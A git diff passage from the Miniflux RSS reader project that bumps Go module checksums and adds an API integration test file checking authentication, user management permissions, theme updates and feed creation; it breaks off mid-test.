v1.7.1/go.mod h1:uzxRWxtg69N339t3louHJ7+O03ezfj6PlliRlaOzY1E= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= -golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA= -golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs= +golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30= +golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= @@ -79,11 +69,10 @@ golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= -golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= -golang.org/x/net v0.22.0 h1:9sGLhx7iRIHEiX0oAJ3MRZMUCElJgy7Br1nO+AMN3Tc= -golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= -golang.org/x/oauth2 v0.18.0 h1:09qnuIAgzdx1XplqJvW6CQqMCtGZykZWcXzPMPUusvI= -golang.org/x/oauth2 v0.18.0/go.mod h1:Wf7knwG0MPoWIMMBgFlEaSUDaKskp0dCfrlJRJXbBi8= +golang.org/x/net v0.24.0 h1:1PcaxkF854Fu3+lvBIx5SYn9wRlBzzcnHZSiaFFAb0w= +golang.org/x/net v0.24.0/go.mod h1:2Q7sJY5mzlzWjKtYUEXSlBWCdyaioyXzRB2RtU8KVE8= +golang.org/x/oauth2 v0.19.0 h1:9+E/EZBCbTLNrbN35fHv/a/d/mOBatymz1zbtQrXpIg= +golang.org/x/oauth2 v0.19.0/go.mod h1:vYi7skDa1x015PmRRYZ7+s1cWyPgrPiSYRe4rnsexc8= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -94,22 +83,17 @@ golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= -golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o= +golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY= -golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= -golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= -golang.org/x/term v0.18.0 h1:FcHjZXDMxI8mM3nwhX9HlKop4C0YQvCVCdwYl2wOtE8= -golang.org/x/term v0.18.0/go.mod h1:ILwASektA3OnRv7amZ1xhE/KTR+u50pbXfZ03+6Nx58= +golang.org/x/term v0.19.0 h1:+ThwsDv+tYfnJFhF4L8jITxu1tdTWRTZpdsWgEgjL6Q= +golang.org/x/term v0.19.0/go.mod h1:2CuTdWZ7KHSQwUzKva0cbMg6q2DMI3Mmxp+gKJbskEk= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= @@ -119,15 +103,8 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -google.golang.org/appengine v1.6.8 h1:IhEN5q69dyKagZPYMSdIjS2HqprW324FRQZJcGqPAsM= -google.golang.org/appengine v1.6.8/go.mod h1:1jJ3jBArFh5pcgW8gCtRJnepW8FzD1V44FJffLiz/Ds= -google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= -google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.32.0 h1:pPC6BG5ex8PDFnkbrGU3EixyhKcQ2aDuBS36lqK/C7I= -google.golang.org/protobuf v1.32.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI= +google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= mvdan.cc/xurls/v2 v2.5.0 h1:lyBNOm8Wo71UknhUs4QTFUNNMyxy2JEIaKKo0RWOh+8= diff --git a/internal/api/api_integration_test.go b/internal/api/api_integration_test.go new file mode 100644 index 00000000..9259b590 --- /dev/null +++ b/internal/api/api_integration_test.go @@ -0,0 +1,2321 @@ +// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +package api // import "miniflux.app/v2/internal/api" + +import ( + "bytes" + "errors" + "fmt" + "io" + "math/rand" + "os" + "strings" + "testing" + + miniflux "miniflux.app/v2/client" +) + +const skipIntegrationTestsMessage = `Set TEST_MINIFLUX_* environment variables to run the API integration tests` + +type integrationTestConfig struct { + testBaseURL string + testAdminUsername string + testAdminPassword string + testRegularUsername string + testRegularPassword string + testFeedURL string + testFeedTitle string + testSubscriptionTitle string + testWebsiteURL string +} + +func newIntegrationTestConfig() *integrationTestConfig { + getDefaultEnvValues := func(key, defaultValue string) string { + value := os.Getenv(key) + if value == "" { + return defaultValue + } + return value + } + + return &integrationTestConfig{ + testBaseURL: getDefaultEnvValues("TEST_MINIFLUX_BASE_URL", ""), + testAdminUsername: getDefaultEnvValues("TEST_MINIFLUX_ADMIN_USERNAME", ""), + testAdminPassword: getDefaultEnvValues("TEST_MINIFLUX_ADMIN_PASSWORD", ""), + testRegularUsername: getDefaultEnvValues("TEST_MINIFLUX_REGULAR_USERNAME_PREFIX", "regular_test_user"), + testRegularPassword: getDefaultEnvValues("TEST_MINIFLUX_REGULAR_PASSWORD", "regular_test_user_password"), + testFeedURL: getDefaultEnvValues("TEST_MINIFLUX_FEED_URL", "https://miniflux.app/feed.xml"), + testFeedTitle: getDefaultEnvValues("TEST_MINIFLUX_FEED_TITLE", "Miniflux"), + testSubscriptionTitle: getDefaultEnvValues("TEST_MINIFLUX_SUBSCRIPTION_TITLE", "Miniflux Releases"), + testWebsiteURL: getDefaultEnvValues("TEST_MINIFLUX_WEBSITE_URL", "https://miniflux.app"), + } +} + +func (c *integrationTestConfig) isConfigured() bool { + return c.testBaseURL != "" && c.testAdminUsername != "" && c.testAdminPassword != "" && c.testFeedURL != "" && c.testFeedTitle != "" && c.testSubscriptionTitle != "" && c.testWebsiteURL != "" +} + +func (c *integrationTestConfig) genRandomUsername() string { + return fmt.Sprintf("%s_%10d", c.testRegularUsername, rand.Int()) +} + +func TestIncorrectEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient("incorrect url") + _, err := client.Users() + if err == nil { + t.Fatal(`Using an incorrect URL should raise an error`) + } +} + +func TestHealthcheckEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL) + if err := client.Healthcheck(); err != nil { + t.Fatal(err) + } +} + +func TestVersionEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + version, err := client.Version() + if err != nil { + t.Fatal(err) + } + + if version.Version == "" { + t.Fatal(`Version should not be empty`) + } + + if version.Commit == "" { + t.Fatal(`Commit should not be empty`) + } + + if version.BuildDate == "" { + t.Fatal(`Build date should not be empty`) + } + + if version.GoVersion == "" { + t.Fatal(`Go version should not be empty`) + } + + if version.Compiler == "" { + t.Fatal(`Compiler should not be empty`) + } + + if version.Arch == "" { + t.Fatal(`Arch should not be empty`) + } + + if version.OS == "" { + t.Fatal(`OS should not be empty`) + } +} + +func TestInvalidCredentials(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, "invalid", "invalid") + _, err := client.Users() + if err == nil { + t.Fatal(`Using bad credentials should raise an error`) + } + + if err != miniflux.ErrNotAuthorized { + t.Fatal(`A "Not Authorized" error should be raised`) + } +} + +func TestGetMeEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + user, err := client.Me() + if err != nil { + t.Fatal(err) + } + + if user.Username != testConfig.testAdminUsername { + t.Fatalf(`Invalid username, got %q instead of %q`, user.Username, testConfig.testAdminUsername) + } +} + +func TestGetUsersEndpointAsAdmin(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + users, err := client.Users() + if err != nil { + t.Fatal(err) + } + + if len(users) == 0 { + t.Fatal(`Users should not be empty`) + } + + if users[0].ID == 0 { + t.Fatalf(`Invalid userID, got "%v"`, users[0].ID) + } + + if users[0].Username != testConfig.testAdminUsername { + t.Fatalf(`Invalid username, got "%v" instead of "%v"`, users[0].Username, testConfig.testAdminUsername) + } + + if users[0].Password != "" { + t.Fatalf(`Invalid password, got "%v"`, users[0].Password) + } + + if users[0].Language != "en_US" { + t.Fatalf(`Invalid language, got "%v"`, users[0].Language) + } + + if users[0].Theme != "light_serif" { + t.Fatalf(`Invalid theme, got "%v"`, users[0].Theme) + } + + if users[0].Timezone != "UTC" { + t.Fatalf(`Invalid timezone, got "%v"`, users[0].Timezone) + } + + if !users[0].IsAdmin { + t.Fatalf(`Invalid role, got "%v"`, users[0].IsAdmin) + } + + if users[0].EntriesPerPage != 100 { + t.Fatalf(`Invalid entries per page, got "%v"`, users[0].EntriesPerPage) + } + + if users[0].DisplayMode != "standalone" { + t.Fatalf(`Invalid web app display mode, got "%v"`, users[0].DisplayMode) + } + + if users[0].GestureNav != "tap" { + t.Fatalf(`Invalid gesture navigation, got "%v"`, users[0].GestureNav) + } + + if users[0].DefaultReadingSpeed != 265 { + t.Fatalf(`Invalid default reading speed, got "%v"`, users[0].DefaultReadingSpeed) + } + + if users[0].CJKReadingSpeed != 500 { + t.Fatalf(`Invalid cjk reading speed, got "%v"`, users[0].CJKReadingSpeed) + } +} + +func TestGetUsersEndpointAsRegularUser(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + _, err = regularUserClient.Users() + if err == nil { + t.Fatal(`Regular users should not have access to the users endpoint`) + } +} + +func TestCreateUserEndpointAsAdmin(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + username := testConfig.genRandomUsername() + regularTestUser, err := client.CreateUser(username, testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer client.DeleteUser(regularTestUser.ID) + + if regularTestUser.Username != username { + t.Fatalf(`Invalid username, got "%v" instead of "%v"`, regularTestUser.Username, username) + } + + if regularTestUser.Password != "" { + t.Fatalf(`Invalid password, got "%v"`, regularTestUser.Password) + } + + if regularTestUser.Language != "en_US" { + t.Fatalf(`Invalid language, got "%v"`, regularTestUser.Language) + } + + if regularTestUser.Theme != "light_serif" { + t.Fatalf(`Invalid theme, got "%v"`, regularTestUser.Theme) + } + + if regularTestUser.Timezone != "UTC" { + t.Fatalf(`Invalid timezone, got "%v"`, regularTestUser.Timezone) + } + + if regularTestUser.IsAdmin { + t.Fatalf(`Invalid role, got "%v"`, regularTestUser.IsAdmin) + } + + if regularTestUser.EntriesPerPage != 100 { + t.Fatalf(`Invalid entries per page, got "%v"`, regularTestUser.EntriesPerPage) + } + + if regularTestUser.DisplayMode != "standalone" { + t.Fatalf(`Invalid web app display mode, got "%v"`, regularTestUser.DisplayMode) + } + + if regularTestUser.GestureNav != "tap" { + t.Fatalf(`Invalid gesture navigation, got "%v"`, regularTestUser.GestureNav) + } + + if regularTestUser.DefaultReadingSpeed != 265 { + t.Fatalf(`Invalid default reading speed, got "%v"`, regularTestUser.DefaultReadingSpeed) + } + + if regularTestUser.CJKReadingSpeed != 500 { + t.Fatalf(`Invalid cjk reading speed, got "%v"`, regularTestUser.CJKReadingSpeed) + } +} + +func TestCreateUserEndpointAsRegularUser(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + _, err = regularUserClient.CreateUser(regularTestUser.Username, testConfig.testRegularPassword, false) + if err == nil { + t.Fatal(`Regular users should not have access to the create user endpoint`) + } +} + +func TestCannotCreateDuplicateUser(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + _, err := client.CreateUser(testConfig.testAdminUsername, testConfig.testAdminPassword, true) + if err == nil { + t.Fatal(`Duplicated users should not be allowed`) + } +} + +func TestRemoveUserEndpointAsAdmin(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + user, err := client.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + + if err := client.DeleteUser(user.ID); err != nil { + t.Fatal(err) + } +} + +func TestRemoveUserEndpointAsRegularUser(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + err = regularUserClient.DeleteUser(regularTestUser.ID) + if err == nil { + t.Fatal(`Regular users should not have access to the remove user endpoint`) + } +} + +func TestGetUserByIDEndpointAsAdmin(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + user, err := client.Me() + if err != nil { + t.Fatal(err) + } + + userByID, err := client.UserByID(user.ID) + if err != nil { + t.Fatal(err) + } + + if userByID.ID != user.ID { + t.Errorf(`Invalid userID, got "%v" instead of "%v"`, userByID.ID, user.ID) + } + + if userByID.Username != user.Username { + t.Errorf(`Invalid username, got "%v" instead of "%v"`, userByID.Username, user.Username) + } + + if userByID.Password != "" { + t.Errorf(`The password field must be empty, got "%v"`, userByID.Password) + } + + if userByID.Language != user.Language { + t.Errorf(`Invalid language, got "%v"`, userByID.Language) + } + + if userByID.Theme != user.Theme { + t.Errorf(`Invalid theme, got "%v"`, userByID.Theme) + } + + if userByID.Timezone != user.Timezone { + t.Errorf(`Invalid timezone, got "%v"`, userByID.Timezone) + } + + if userByID.IsAdmin != user.IsAdmin { + t.Errorf(`Invalid role, got "%v"`, userByID.IsAdmin) + } + + if userByID.EntriesPerPage != user.EntriesPerPage { + t.Errorf(`Invalid entries per page, got "%v"`, userByID.EntriesPerPage) + } + + if userByID.DisplayMode != user.DisplayMode { + t.Errorf(`Invalid web app display mode, got "%v"`, userByID.DisplayMode) + } + + if userByID.GestureNav != user.GestureNav { + t.Errorf(`Invalid gesture navigation, got "%v"`, userByID.GestureNav) + } + + if userByID.DefaultReadingSpeed != user.DefaultReadingSpeed { + t.Errorf(`Invalid default reading speed, got "%v"`, userByID.DefaultReadingSpeed) + } + + if userByID.CJKReadingSpeed != user.CJKReadingSpeed { + t.Errorf(`Invalid cjk reading speed, got "%v"`, userByID.CJKReadingSpeed) + } + + if userByID.EntryDirection != user.EntryDirection { + t.Errorf(`Invalid entry direction, got "%v"`, userByID.EntryDirection) + } + + if userByID.EntryOrder != user.EntryOrder { + t.Errorf(`Invalid entry order, got "%v"`, userByID.EntryOrder) + } +} + +func TestGetUserByIDEndpointAsRegularUser(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + _, err = regularUserClient.UserByID(regularTestUser.ID) + if err == nil { + t.Fatal(`Regular users should not have access to the user by ID endpoint`) + } +} + +func TestGetUserByUsernameEndpointAsAdmin(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + user, err := client.Me() + if err != nil { + t.Fatal(err) + } + + userByUsername, err := client.UserByUsername(user.Username) + if err != nil { + t.Fatal(err) + } + + if userByUsername.ID != user.ID { + t.Errorf(`Invalid userID, got "%v" instead of "%v"`, userByUsername.ID, user.ID) + } + + if userByUsername.Username != user.Username { + t.Errorf(`Invalid username, got "%v" instead of "%v"`, userByUsername.Username, user.Username) + } + + if userByUsername.Password != "" { + t.Errorf(`The password field must be empty, got "%v"`, userByUsername.Password) + } + + if userByUsername.Language != user.Language { + t.Errorf(`Invalid language, got "%v"`, userByUsername.Language) + } + + if userByUsername.Theme != user.Theme { + t.Errorf(`Invalid theme, got "%v"`, userByUsername.Theme) + } + + if userByUsername.Timezone != user.Timezone { + t.Errorf(`Invalid timezone, got "%v"`, userByUsername.Timezone) + } + + if userByUsername.IsAdmin != user.IsAdmin { + t.Errorf(`Invalid role, got "%v"`, userByUsername.IsAdmin) + } + + if userByUsername.EntriesPerPage != user.EntriesPerPage { + t.Errorf(`Invalid entries per page, got "%v"`, userByUsername.EntriesPerPage) + } + + if userByUsername.DisplayMode != user.DisplayMode { + t.Errorf(`Invalid web app display mode, got "%v"`, userByUsername.DisplayMode) + } + + if userByUsername.GestureNav != user.GestureNav { + t.Errorf(`Invalid gesture navigation, got "%v"`, userByUsername.GestureNav) + } + + if userByUsername.DefaultReadingSpeed != user.DefaultReadingSpeed { + t.Errorf(`Invalid default reading speed, got "%v"`, userByUsername.DefaultReadingSpeed) + } + + if userByUsername.CJKReadingSpeed != user.CJKReadingSpeed { + t.Errorf(`Invalid cjk reading speed, got "%v"`, userByUsername.CJKReadingSpeed) + } + + if userByUsername.EntryDirection != user.EntryDirection { + t.Errorf(`Invalid entry direction, got "%v"`, userByUsername.EntryDirection) + } +} + +func TestGetUserByUsernameEndpointAsRegularUser(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + _, err = regularUserClient.UserByUsername(regularTestUser.Username) + if err == nil { + t.Fatal(`Regular users should not have access to the user by username endpoint`) + } +} + +func TestUpdateUserEndpointByChangingDefaultTheme(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + userUpdateRequest := &miniflux.UserModificationRequest{ + Theme: miniflux.SetOptionalField("dark_serif"), + } + + updatedUser, err := regularUserClient.UpdateUser(regularTestUser.ID, userUpdateRequest) + if err != nil { + t.Fatal(err) + } + + if updatedUser.Theme != "dark_serif" { + t.Fatalf(`Invalid theme, got "%v"`, updatedUser.Theme) + } +} + +func TestUpdateUserEndpointByChangingDefaultThemeToInvalidValue(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + userUpdateRequest := &miniflux.UserModificationRequest{ + Theme: miniflux.SetOptionalField("invalid_theme"), + } + + _, err = regularUserClient.UpdateUser(regularTestUser.ID, userUpdateRequest) + if err == nil { + t.Fatal(`Updating the user with an invalid theme should raise an error`) + } +} + +func TestRegularUsersCannotUpdateOtherUsers(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + adminUser, err := adminClient.Me() + if err != nil { + t.Fatal(err) + } + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + userUpdateRequest := &miniflux.UserModificationRequest{ + Theme: miniflux.SetOptionalField("dark_serif"), + } + + _, err = regularUserClient.UpdateUser(adminUser.ID, userUpdateRequest) + if err == nil { + t.Fatal(`Regular users should not be able to update other users`) + } +} + +func TestMarkUserAsReadEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) 